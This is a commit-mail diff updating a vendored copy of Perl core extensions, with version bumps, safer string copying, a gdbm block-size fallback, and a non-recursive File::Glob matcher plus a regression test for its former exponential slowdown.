+++ vendor/perl/dist/ext/Devel-Peek/Peek.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -444,7 +444,7 @@
 {
     CV * const cv = get_cvn_flags("Devel::Peek::Dump", 17, 0);
     assert(cv);
-    cv_set_call_checker(cv, S_ck_dump, (SV *)cv);
+    cv_set_call_checker_flags(cv, S_ck_dump, (SV *)cv, 0);
     Perl_custom_op_register(aTHX_ S_pp_dump, &my_xop);
 }
 

Modified: vendor/perl/dist/ext/Devel-Peek/t/Peek.t
===================================================================
--- vendor/perl/dist/ext/Devel-Peek/t/Peek.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Devel-Peek/t/Peek.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -359,11 +359,10 @@
   RV = $ADDR
   SV = REGEXP\\($ADDR\\) at $ADDR
     REFCNT = 1
-    FLAGS = \\(OBJECT,POK,FAKE,pPOK\\)		# $] < 5.017006
-    FLAGS = \\(OBJECT,FAKE\\)			# $] >= 5.017006
+    FLAGS = \\(OBJECT,POK,FAKE,pPOK\\)
     PV = $ADDR "\\(\\?\\^:tic\\)"
     CUR = 8
-    LEN = 0					# $] < 5.017006
+    LEN = 0
     STASH = $ADDR\\t"Regexp"'
 . ($] < 5.013 ? '' :
 '
@@ -387,9 +386,10 @@
 . ($] < 5.019003 ? '' : '
     SV = REGEXP\($ADDR\) at $ADDR
       REFCNT = 2
-      FLAGS = \(\)
+      FLAGS = \(POK,pPOK\)
       PV = $ADDR "\(\?\^:tic\)"
       CUR = 8
+      LEN = \d+
       COMPFLAGS = 0x0 \(\)
       EXTFLAGS = 0x680000 \(CHECK_ALL,USE_INTUIT_NOML,USE_INTUIT_ML\)
 (?:      ENGINE = $ADDR \(STANDARD\)
@@ -1162,9 +1162,10 @@
   RV = $ADDR
   SV = REGEXP\($ADDR\) at $ADDR
     REFCNT = 1
-    FLAGS = \(OBJECT,FAKE,UTF8\)
+    FLAGS = \(OBJECT,POK,FAKE,pPOK,UTF8\)
     PV = $ADDR "\(\?\^u:\\\\\\\\x\{100\}\)" \[UTF8 "\(\?\^u:\\\\\\\\x\{100\}\)"\]
     CUR = 13
+    LEN = 0
     STASH = $ADDR	"Regexp"
     COMPFLAGS = 0x0 \(\)
     EXTFLAGS = $ADDR \(CHECK_ALL,USE_INTUIT_NOML,USE_INTUIT_ML\)
@@ -1186,9 +1187,10 @@
 . ($] < 5.019003 ? '' : '
     SV = REGEXP\($ADDR\) at $ADDR
       REFCNT = 2
-      FLAGS = \(UTF8\)
+      FLAGS = \(POK,pPOK,UTF8\)
       PV = $ADDR "\(\?\^u:\\\\\\\\x\{100\}\)" \[UTF8 "\(\?\^u:\\\\\\\\x\{100\}\)"\]
       CUR = 13
+      LEN = \d+
       COMPFLAGS = 0x0 \(\)
       EXTFLAGS = $ADDR \(CHECK_ALL,USE_INTUIT_NOML,USE_INTUIT_ML\)
 (?:      ENGINE = $ADDR \(STANDARD\)
@@ -1457,6 +1459,7 @@
 dumpindent is 4 at -e line 1.
      
 1    leave LISTOP(0xNNN) ===> [0x0]
+     PARENT ===> [0x0]
      TARG = 1
      FLAGS = (VOID,KIDS,PARENS,SLABBED)
      PRIVATE = (REFC)

Modified: vendor/perl/dist/ext/DynaLoader/DynaLoader_pm.PL
===================================================================
--- vendor/perl/dist/ext/DynaLoader/DynaLoader_pm.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/DynaLoader/DynaLoader_pm.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -85,7 +85,7 @@
 # Tim.Bunce at ig.co.uk, August 1994
 
 BEGIN {
-    $VERSION = '1.42';
+    $VERSION = '1.45';
 }
 
 EOT
@@ -454,7 +454,7 @@
 
         # Deal with directories first:
         #  Using a -L prefix is the preferred option (faster and more robust)
-        if (m:^-L:) { s/^-L//; push(@dirs, $_); next; }
+        if ( s{^-L}{} ) { push(@dirs, $_); next; }
 
         #  Otherwise we try to try to spot directories by a heuristic
         #  (this is a more complicated issue than it first appears)
@@ -468,10 +468,8 @@
 
         #  Only files should get this far...
         my(@names, $name);    # what filenames to look for
-        if (m:-l: ) {          # convert -lname to appropriate library name
-            s/-l//;
-            push(@names,"lib$_.$dl_so");
-            push(@names,"lib$_.a");
+        if ( s{^-l}{} ) {          # convert -lname to appropriate library name
+            push(@names, "lib$_.$dl_so", "lib$_.a");
         } else {                # Umm, a bare name. Try various alternatives:
             # these should be ordered with the most likely first
             push(@names,"$_.$dl_dlext")    unless m/\.$dl_dlext$/o;
@@ -566,7 +564,7 @@
     package YourPackage;
     require DynaLoader;
     @ISA = qw(... DynaLoader ...);
-    bootstrap YourPackage;
+    __PACKAGE__->bootstrap;
 
     # optional method for 'global' loading
     sub dl_load_flags { 0x01 }     

Modified: vendor/perl/dist/ext/DynaLoader/dl_aix.xs
===================================================================
--- vendor/perl/dist/ext/DynaLoader/dl_aix.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/DynaLoader/dl_aix.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -226,7 +226,7 @@
 	 * Scan the list of modules if have the module already loaded.
 	 */
 	for (mp = dl_modList; mp; mp = mp->next)
-		if (strcmp(mp->name, path) == 0) {
+		if (strEQ(mp->name, path)) {
 			mp->refCnt++;
 			return mp;
 		}
@@ -364,7 +364,7 @@
 	 * the result to function pointers anyways.
 	 */
 	for (ep = mp->exports, i = mp->nExports; i; i--, ep++)
-		if (strcmp(ep->name, symbol) == 0)
+		if (strEQ(ep->name, symbol))
 			return ep->addr;
 	dl_errvalid++;
 	strcpy(dl_errbuf, "dlsym: undefined symbol ");

Modified: vendor/perl/dist/ext/DynaLoader/dl_win32.xs
===================================================================
--- vendor/perl/dist/ext/DynaLoader/dl_win32.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/DynaLoader/dl_win32.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -82,7 +82,7 @@
         return 0;
 
     /* change all the '\\' to '/' */
-    strcpy(szBuffer, filename);
+    my_strlcpy(szBuffer, filename, sizeof(szBuffer));
     for(ptr = szBuffer; ptr = strchr(ptr, '\\'); ++ptr)
 	*ptr = '/';
 
@@ -102,7 +102,7 @@
 	if (hptr = strstr(ptr, *p)) {
 	    /* found substring, need more detailed check if module name match */
 	    if (hptr==ptr) {
-		return strcmp(ptr, *p)==0;
+		return strEQ(ptr, *p);
 	    }
 	    if (hptr[strlen(*p)] == 0)
 		return hptr[-1]=='/';

Modified: vendor/perl/dist/ext/DynaLoader/dlutils.c
===================================================================
--- vendor/perl/dist/ext/DynaLoader/dlutils.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/DynaLoader/dlutils.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -75,18 +75,16 @@
 dl_unload_all_files(pTHX_ void *unused)
 {
     CV *sub;
-    AV *dl_librefs;
-    SV *dl_libref;
-
+    PERL_UNUSED_ARG(unused);
     if ((sub = get_cvs("DynaLoader::dl_unload_file", 0)) != NULL) {
-        dl_librefs = get_av("DynaLoader::dl_librefs", 0);
-        EXTEND(SP,1);
+        AV *dl_librefs = get_av("DynaLoader::dl_librefs", 0);
+        SV *dl_libref;
         while ((dl_libref = av_pop(dl_librefs)) != &PL_sv_undef) {
            dSP;
            ENTER;
            SAVETMPS;
            PUSHMARK(SP);
-           PUSHs(sv_2mortal(dl_libref));
+           XPUSHs(sv_2mortal(dl_libref));
            PUTBACK;
            call_sv((SV*)sub, G_DISCARD | G_NODEBUG);
            FREETMPS;

Modified: vendor/perl/dist/ext/Errno/Errno_pm.PL
===================================================================
--- vendor/perl/dist/ext/Errno/Errno_pm.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Errno/Errno_pm.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use Config;
 use strict;
 
-our $VERSION = "1.28";
+our $VERSION = "1.29";
 
 my %err = ();
 
@@ -257,7 +257,7 @@
 	    my($name,$expr);
 	    next unless ($name, $expr) = /"(.*?)"\s*\[\s*\[\s*(.*?)\s*\]\s*\]/;
 	    next if $name eq $expr;
-	    $expr =~ s/\(?\(\s*[a-z_]\w*\s*\)\(?([^\)]+)\)?\)?/$1/i; # ((type)0xcafebabe) at alia
+	    $expr =~ s/\(?\(\s*[a-z_]\w*\s*\)\(?([^\)]+)\)?\)?/$1/i; # ((type)0xcafebabe) et alia
 	    $expr =~ s/\b((?:0x)?[0-9a-f]+)[LU]+\b/$1/gi; # 2147483647L et alia
 	    next if $expr =~ m/\b[a-z_]\w*\b/i; # skip expressions containing function names etc
 	    if($expr =~ m/^0[xX]/) {

Modified: vendor/perl/dist/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm
===================================================================
--- vendor/perl/dist/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,12 +4,10 @@
 require Exporter;
 use ExtUtils::Embed 1.31, qw(xsi_header xsi_protos xsi_body);
 
-use vars qw($VERSION @ISA @EXPORT);
+our @ISA = qw(Exporter);
+our @EXPORT = qw(writemain);
+our $VERSION = '1.08';
 
- at ISA = qw(Exporter);
- at EXPORT = qw(writemain);
-$VERSION = '1.06';
-
 # blead will run this with miniperl, hence we can't use autodie or File::Temp
 my $temp;
 
@@ -153,8 +151,7 @@
 	PL_perl_destruct_level = 0;
     }
     PL_exit_flags |= PERL_EXIT_DESTRUCT_END;
-    exitstatus = perl_parse(my_perl, xs_init, argc, argv, (char **)NULL);
-    if (!exitstatus)
+    if (!perl_parse(my_perl, xs_init, argc, argv, (char **)NULL))
         perl_run(my_perl);
 
 #ifndef PERL_MICRO

Modified: vendor/perl/dist/ext/Fcntl/t/fcntl.t
===================================================================
--- vendor/perl/dist/ext/Fcntl/t/fcntl.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Fcntl/t/fcntl.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,11 +12,13 @@
 print "ok 1\n";
 
 if (sysopen(my $wo, "fcntl$$", O_WRONLY|O_CREAT)) {
+    binmode $wo;
     print "ok 2\n";
     if (syswrite($wo, "foo") == 3) {
 	print "ok 3\n";
 	close($wo);
 	if (sysopen(my $ro, "fcntl$$", O_RDONLY)) {
+            binmode $ro;
 	    print "ok 4\n";
 	    if (sysread($ro, my $read, 3)) {
 		print "ok 5\n";

Modified: vendor/perl/dist/ext/Fcntl/t/syslfs.t
===================================================================
--- vendor/perl/dist/ext/Fcntl/t/syslfs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Fcntl/t/syslfs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -72,6 +72,7 @@
 
 sysopen(BIG, $big1, O_WRONLY|O_CREAT|O_TRUNC) or
     die "sysopen $big1 failed: $!";
+binmode BIG;
 sysseek(BIG, 1_000_000, SEEK_SET) or
     die "sysseek $big1 failed: $!";
 syswrite(BIG, "big") or
@@ -85,6 +86,7 @@
 
 sysopen(BIG, $big2, O_WRONLY|O_CREAT|O_TRUNC) or
     die "sysopen $big2 failed: $!";
+binmode BIG;
 sysseek(BIG, 2_000_000, SEEK_SET) or
     die "sysseek $big2 failed: $!";
 syswrite(BIG, "big") or
@@ -127,6 +129,7 @@
 
 sysopen(BIG, $big0, O_WRONLY|O_CREAT|O_TRUNC) or
     die "sysopen $big0 failed: $!";
+binmode BIG;
 my $sysseek = sysseek(BIG, 5_000_000_000, SEEK_SET);
 unless (! $r && defined $sysseek && $sysseek == 5_000_000_000) {
     $sysseek = 'undef' unless defined $sysseek;
@@ -192,7 +195,7 @@
 is(-f $big0, 1);
 
 sysopen(BIG, $big0, O_RDONLY) or die "sysopen failed: $!";
-
+binmode BIG;
 offset('sysseek(BIG, 4_500_000_000, SEEK_SET)', 4_500_000_000);
 
 offset('sysseek(BIG, 0, SEEK_CUR)', 4_500_000_000);

Modified: vendor/perl/dist/ext/File-Glob/Glob.pm
===================================================================
--- vendor/perl/dist/ext/File-Glob/Glob.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/File-Glob/Glob.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -37,7 +37,7 @@
 
 @EXPORT_OK   = (@{$EXPORT_TAGS{'glob'}}, 'csh_glob');
 
-$VERSION = '1.28';
+$VERSION = '1.31';
 
 sub import {
     require Exporter;

Modified: vendor/perl/dist/ext/File-Glob/Glob.xs
===================================================================
--- vendor/perl/dist/ext/File-Glob/Glob.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/File-Glob/Glob.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -121,7 +121,7 @@
 
     /* chuck it all out, quick or slow */
     if (gimme == G_ARRAY) {
-	if (!on_stack) {
+	if (!on_stack && AvFILLp(entries) + 1) {
 	    EXTEND(SP, AvFILLp(entries)+1);
 	    Copy(AvARRAY(entries), SP+1, AvFILLp(entries)+1, SV *);
 	    SP += AvFILLp(entries)+1;

Modified: vendor/perl/dist/ext/File-Glob/bsd_glob.c
===================================================================
--- vendor/perl/dist/ext/File-Glob/bsd_glob.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/File-Glob/bsd_glob.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -87,9 +87,7 @@
 #  endif
 #endif
 
-#ifdef I_LIMITS
 #include <limits.h>
-#endif
 
 #ifndef ARG_MAX
 #  ifdef _SC_ARG_MAX
@@ -563,8 +561,12 @@
 			break;
 		case BG_STAR:
 			pglob->gl_flags |= GLOB_MAGCHAR;
-			/* collapse adjacent stars to one,
-			 * to avoid exponential behavior
+                        /* Collapse adjacent stars to one.
+                         * This is required to ensure that a pattern like
+                         * "a**" matches a name like "a", as without this
+                         * check when the first star matched everything it would
+                         * cause the second star to return a match fail.
+                         * As long ** is folded here this does not happen.
 			 */
 			if (bufnext == patbuf || bufnext[-1] != M_ALL)
 				*bufnext++ = M_ALL;
@@ -909,8 +911,21 @@
 
 
 /*
- * pattern matching function for filenames.  Each occurrence of the *
- * pattern causes a recursion level.
+ * pattern matching function for filenames using state machine to avoid
+ * recursion. We maintain a "nextp" and "nextn" to allow us to backtrack
+ * without additional callframes, and to do cleanly prune the backtracking
+ * state when multiple '*' (start) matches are included in the pattern.
+ *
+ * Thanks to Russ Cox for the improved state machine logic to avoid quadratic
+ * matching on failure.
+ *
+ * https://research.swtch.com/glob
+ *
+ * An example would be a pattern
+ *  ("a*" x 100) . "y"
+ * against a file name like
+ *  ("a" x 100) . "x"
+ *
  */
 static int
 match(Char *name, Char *pat, Char *patend, int nocase)
@@ -917,7 +932,10 @@
 {
 	int ok, negate_range;
 	Char c, k;
+	Char *nextp = NULL;
+	Char *nextn = NULL;
 
+    redo:
 	while (pat < patend) {
 		c = *pat++;
 		switch (c & M_MASK) {
@@ -924,20 +942,25 @@
 		case M_ALL:
 			if (pat == patend)
 				return(1);
-			do
-			    if (match(name, pat, patend, nocase))
-				    return(1);
-			while (*name++ != BG_EOS)
-				;
-			return(0);
+	                if (*name == BG_EOS)
+	                        return 0;
+			nextn = name + 1;
+	                nextp = pat - 1;
+			break;
 		case M_ONE:
+                        /* since * matches leftmost-shortest first   *
+                         * if we encounter the EOS then backtracking *
+                         * will not help, so we can exit early here. */
 			if (*name++ == BG_EOS)
-				return(0);
+                                return 0;
 			break;
 		case M_SET:
 			ok = 0;
+                        /* since * matches leftmost-shortest first   *
+                         * if we encounter the EOS then backtracking *
+                         * will not help, so we can exit early here. */
 			if ((k = *name++) == BG_EOS)
-				return(0);
+                                return 0;
 			if ((negate_range = ((*pat & M_MASK) == M_NOT)) != BG_EOS)
 				++pat;
 			while (((c = *pat++) & M_MASK) != M_END)
@@ -953,16 +976,25 @@
 				} else if (nocase ? (tolower(c) == tolower(k)) : (c == k))
 					ok = 1;
 			if (ok == negate_range)
-				return(0);
+				goto fail;
 			break;
 		default:
 			k = *name++;
 			if (nocase ? (tolower(k) != tolower(c)) : (k != c))
-				return(0);
+				goto fail;
 			break;
 		}
 	}
-	return(*name == BG_EOS);
+	if (*name == BG_EOS)
+		return 1;
+
+    fail:
+	if (nextn) {
+		pat = nextp;
+		name = nextn;
+		goto redo;
+	}
+	return 0;
 }
 
 /* Free allocated data belonging to a glob_t structure. */

Added: vendor/perl/dist/ext/File-Glob/t/rt131211.t
===================================================================
--- vendor/perl/dist/ext/File-Glob/t/rt131211.t	                        (rev 0)
+++ vendor/perl/dist/ext/File-Glob/t/rt131211.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,112 @@
+# tests for RT 131211
+#
+# non-matching glob("a*a*a*...") went exponential time on number of a*'s
+
+
+use strict;
+use warnings;
+use v5.16.0;
+use File::Temp 'tempdir';
+use File::Spec::Functions;
+use Test::More;
+use Time::HiRes qw(time);
+use Config;
+
+plan skip_all => 'This platform doesn\'t use File::Glob'
+                    if $Config{ccflags} =~ /\b{wb}-DPERL_EXTERNAL_GLOB\b{wb}/;
+plan tests => 13;
+
+my $path = tempdir uc cleanup => 1;
+my @files= (
+    "x".("a" x 50)."b", # 0
+    "abbbbbbbbbbbbc",   # 1
+    "abbbbbbbbbbbbd",   # 2
+    "aaabaaaabaaaabc",  # 3
+    "pq",               # 4
+    "r",                # 5
+    "rttiiiiiii",       # 6
+    "wewewewewewe",     # 7
+    "weeeweeeweee",     # 8
+    "weewweewweew",     # 9
+    "wewewewewewewewewewewewewewewewewq", # 10
+    "wtttttttetttttttwr", # 11
+);
+
+
+# VMS needs a real extension.
+map { $_ .= '.tmp' } @files if $^O eq 'VMS';
+
+foreach (@files) {
+    open(my $f, ">", catfile $path, $_);
+}
+
+my $elapsed_fail= 0;
+my $elapsed_match= 0;
+my @got_files;
+my @no_files;
+my $count = 0;
+
+while (++$count < 10) {
+    $elapsed_match -= time;
+    @got_files= glob catfile $path, "x".("a*" x $count) . "b";
+    $elapsed_match += time;
+
+    $elapsed_fail -= time;
+    @no_files= glob catfile $path, "x".("a*" x $count) . "c";
+    $elapsed_fail += time;
+    last if $elapsed_fail > ($elapsed_match < 0.2 ? 0.2 : $elapsed_match) * 100;
+}
+
+is $count,10,
+    "tried all the patterns without bailing out"
+    or diag("elapsed_match=$elapsed_match elapsed_fail=$elapsed_fail");
+
+SKIP: {
+    skip "unstable  or too small timing", 1 unless
+            $elapsed_match >= 0.001 && $elapsed_fail >= 0.001;
+    ok $elapsed_fail <= 10 * $elapsed_match,
+        "time to fail less than 10x the time to match"
+        or diag("elapsed_match=$elapsed_match elapsed_fail=$elapsed_fail");
+}
+
+is "@got_files", catfile($path, $files[0]),
+    "only got the expected file for xa*..b";
+is "@no_files", "", "shouldnt have files for xa*..c";
+
+
+ at got_files= glob catfile $path, "a*b*b*b*bc";
+is "@got_files", catfile($path, $files[1]),
+    "only got the expected file for a*b*b*b*bc";
+
+ at got_files= sort glob catfile $path, "a*b*b*bc";
+is "@got_files", catfile($path, $files[3])." ".catfile($path,$files[1]),
+    "got the expected two files for a*b*b*bc";
+
+ at got_files= sort glob catfile $path, "p*";
+is "@got_files", catfile($path, $files[4]),
+    "p* matches pq";
+
+ at got_files= sort glob catfile $path, "r*???????";
+is "@got_files", catfile($path, $files[6]),
+    "r*??????? works as expected";
+
+ at got_files= sort glob catfile $path, "w*e*w??e";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8)),
+    "w*e*w??e works as expected";
+
+ at got_files= sort glob catfile $path, "w*e*we??";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8,9,10)),
+    "w*e*we?? works as expected";
+
+ at got_files= sort glob catfile $path, "w**e**w";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (9)),
+    "w**e**w works as expected";
+
+ at got_files= sort glob catfile $path, "*wee*";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (8,9)),
+    "*wee* works as expected";
+
+ at got_files= sort glob catfile $path, "we*";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8,9,10)),
+    "we* works as expected";
+

Modified: vendor/perl/dist/ext/FileCache/lib/FileCache.pm
===================================================================
--- vendor/perl/dist/ext/FileCache/lib/FileCache.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/FileCache/lib/FileCache.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package FileCache;
 
-our $VERSION = '1.09';
+our $VERSION = '1.10';
 
 =head1 NAME
 
@@ -91,8 +91,8 @@
 # These are not C<my> for legacy reasons.
 # Previous versions requested the user set $cacheout_maxopen by hand.
 # Some authors fiddled with %saw to overcome the clobber on initial open.
-use vars qw(%saw $cacheout_maxopen);
-$cacheout_maxopen = 16;
+our %saw;
+our $cacheout_maxopen = 16;
 
 use parent 'Exporter';
 our @EXPORT = qw[cacheout cacheout_close];

Modified: vendor/perl/dist/ext/FileCache/t/01open.t
===================================================================
--- vendor/perl/dist/ext/FileCache/t/01open.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/FileCache/t/01open.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use FileCache;
 
-use vars qw(@files);
+our @files;
 BEGIN { @files = qw(foo bar baz quux Foo_Bar) }
 END   { 1 while unlink @files }
 

Modified: vendor/perl/dist/ext/FileCache/t/02maxopen.t
===================================================================
--- vendor/perl/dist/ext/FileCache/t/02maxopen.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/FileCache/t/02maxopen.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!./perl
 
 use FileCache maxopen => 2;
-use vars qw(@files);
+our @files;
 BEGIN { @files = qw(foo bar baz quux) }
 END { 1 while unlink @files }
 

Modified: vendor/perl/dist/ext/FileCache/t/03append.t
===================================================================
--- vendor/perl/dist/ext/FileCache/t/03append.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/FileCache/t/03append.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!./perl
 
 use FileCache maxopen => 2;
-use vars qw(@files);
+our @files;
 BEGIN { @files = qw(foo bar baz quux Foo_Bar) }
 END   { 1 while unlink @files }
 

Modified: vendor/perl/dist/ext/FileCache/t/06export.t
===================================================================
--- vendor/perl/dist/ext/FileCache/t/06export.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/FileCache/t/06export.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!./perl
-use vars qw(@funcs $i);
+our (@funcs, $i);
 
 BEGIN {
     # Functions exported by FileCache;

Modified: vendor/perl/dist/ext/GDBM_File/GDBM_File.pm
===================================================================
--- vendor/perl/dist/ext/GDBM_File/GDBM_File.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/GDBM_File/GDBM_File.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,12 +20,16 @@
 Most of the libgdbm.a functions are available through the GDBM_File
 interface.
 
+Unlike Perl's built-in hashes, it is not safe to C<delete> the current
+item from a GDBM_File tied hash while iterating over it with C<each>.
+This is a limitation of the gdbm library.
+
 =head1 AVAILABILITY
 
 gdbm is available from any GNU archive.  The master site is
 C<ftp.gnu.org>, but you are strongly urged to use one of the many
 mirrors.  You can obtain a list of mirror sites from
-http://www.gnu.org/order/ftp.html.
+L<http://www.gnu.org/order/ftp.html>.
 
 =head1 BUGS
 
@@ -69,7 +73,7 @@
 );
 
 # This module isn't dual life, so no need for dev version numbers.
-$VERSION = '1.15';
+$VERSION = '1.17';
 
 XSLoader::load();
 

Modified: vendor/perl/dist/ext/GDBM_File/GDBM_File.xs
===================================================================
--- vendor/perl/dist/ext/GDBM_File/GDBM_File.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/GDBM_File/GDBM_File.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,8 +23,6 @@
 typedef datum datum_value ;
 typedef datum datum_key_copy;
 
-#define GDBM_BLOCKSIZE 0 /* gdbm defaults to stat blocksize */
-
 #if defined(GDBM_VERSION_MAJOR) && defined(GDBM_VERSION_MINOR) \
     && GDBM_VERSION_MAJOR > 1 || \
     (GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR >= 9)
@@ -81,18 +79,29 @@
 	char *		name
 	int		read_write
 	int		mode
+	PREINIT:
+	GDBM_FILE dbp;
 	CODE:
-	{
-	    GDBM_FILE  	dbp ;
-
-	    RETVAL = NULL ;
-	    if ((dbp =  gdbm_open(name, GDBM_BLOCKSIZE, read_write, mode,
-	       	     	          (FATALFUNC) croak_string))) {
-	        RETVAL = (GDBM_File)safecalloc(1, sizeof(GDBM_File_type)) ;
-		RETVAL->dbp = dbp ;
-	    }
-	    
+	dbp = gdbm_open(name, 0, read_write, mode, (FATALFUNC)croak_string);
+	if (!dbp && gdbm_errno == GDBM_BLOCK_SIZE_ERROR) {
+	    /*
+	     * By specifying a block size of 0 above, we asked gdbm to
+	     * default to the filesystem's block size.	That's usually the
+	     * right size to choose.  But some versions of gdbm require
+	     * a power-of-two block size, and some unusual filesystems
+	     * or devices have a non-power-of-two size that cause this
+	     * defaulting to fail.  In that case, force an acceptable
+	     * block size.
+	     */
+	    dbp = gdbm_open(name, 4096, read_write, mode,
+		    (FATALFUNC)croak_string);
 	}
+	if (dbp) {
+	    RETVAL = (GDBM_File)safecalloc(1, sizeof(GDBM_File_type));
+	    RETVAL->dbp = dbp;
+	} else {
+	    RETVAL = NULL;
+	}
 	OUTPUT:
 	  RETVAL
 	

Modified: vendor/perl/dist/ext/Hash-Util/t/Util.t
===================================================================
--- vendor/perl/dist/ext/Hash-Util/t/Util.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Hash-Util/t/Util.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -606,9 +606,9 @@
     my $array1= bucket_array({});
     my $array2= bucket_array({1..10});
     is("@info1","0 8 0");
-    is("@info2[0,1]","5 8");
+    like("@info2[0,1]",qr/5 (?:8|16)/);
     is("@stats1","0 8 0");
-    is("@stats2[0,1]","5 8");
+    like("@stats2[0,1]",qr/5 (?:8|16)/);
     my @keys1= sort map { ref $_ ? @$_ : () } @$array1;
     my @keys2= sort map { ref $_ ? @$_ : () } @$array2;
     is("@keys1","");

Modified: vendor/perl/dist/ext/Hash-Util/t/builtin.t
===================================================================
--- vendor/perl/dist/ext/Hash-Util/t/builtin.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Hash-Util/t/builtin.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,13 +26,15 @@
 
 $hash{$_}= $_ for 2..7;
 
-like(bucket_ratio(%hash), qr!/8!, "hash has expected number of buckets in bucket_ratio");
-is(num_buckets(%hash), 8, "hash should have eight buckets");
+like(bucket_ratio(%hash), qr!/(?:8|16)!, "hash has expected number of buckets in bucket_ratio");
+my $num= num_buckets(%hash);
+ok(($num == 8 || $num == 16), "hash should have 8 or 16 buckets");
 cmp_ok(used_buckets(%hash), "<", 8, "hash should have one used buckets");
 
 $hash{8}= 8;
-like(bucket_ratio(%hash), qr!/16!, "hash has expected number of buckets in bucket_ratio");
-is(num_buckets(%hash), 16, "hash should have sixteen buckets");
+like(bucket_ratio(%hash), qr!/(?:8|16)!, "hash has expected number of buckets in bucket_ratio");
+$num= num_buckets(%hash);
+ok(($num == 8 || $num == 16), "hash should have 8 or 16 buckets");
 cmp_ok(used_buckets(%hash), "<=", 8, "hash should have at most 8 used buckets");
 
 

Modified: vendor/perl/dist/ext/Hash-Util-FieldHash/FieldHash.xs
===================================================================
--- vendor/perl/dist/ext/Hash-Util-FieldHash/FieldHash.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Hash-Util-FieldHash/FieldHash.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -431,7 +431,7 @@
 void
 CLONE(char* classname)
 CODE:
-    if (0 == strcmp(classname, "Hash::Util::FieldHash")) {
+    if (strEQ(classname, "Hash::Util::FieldHash")) {
         HUF_global(aTHX_ HUF_CLONE);
         HUF_fix_objects(aTHX);
     }

Modified: vendor/perl/dist/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm
===================================================================
--- vendor/perl/dist/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use warnings;
 use Scalar::Util qw( reftype);
 
-our $VERSION = '1.19';
+our $VERSION = '1.20';
 
 require Exporter;
 our @ISA = qw(Exporter);

Modified: vendor/perl/dist/ext/Hash-Util-FieldHash/t/12_hashwarn.t
===================================================================
--- vendor/perl/dist/ext/Hash-Util-FieldHash/t/12_hashwarn.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Hash-Util-FieldHash/t/12_hashwarn.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,8 +7,7 @@
 use warnings;
 use Hash::Util::FieldHash qw( :all);
 
-use vars qw{ @warnings };
-
+our @warnings;
 BEGIN {
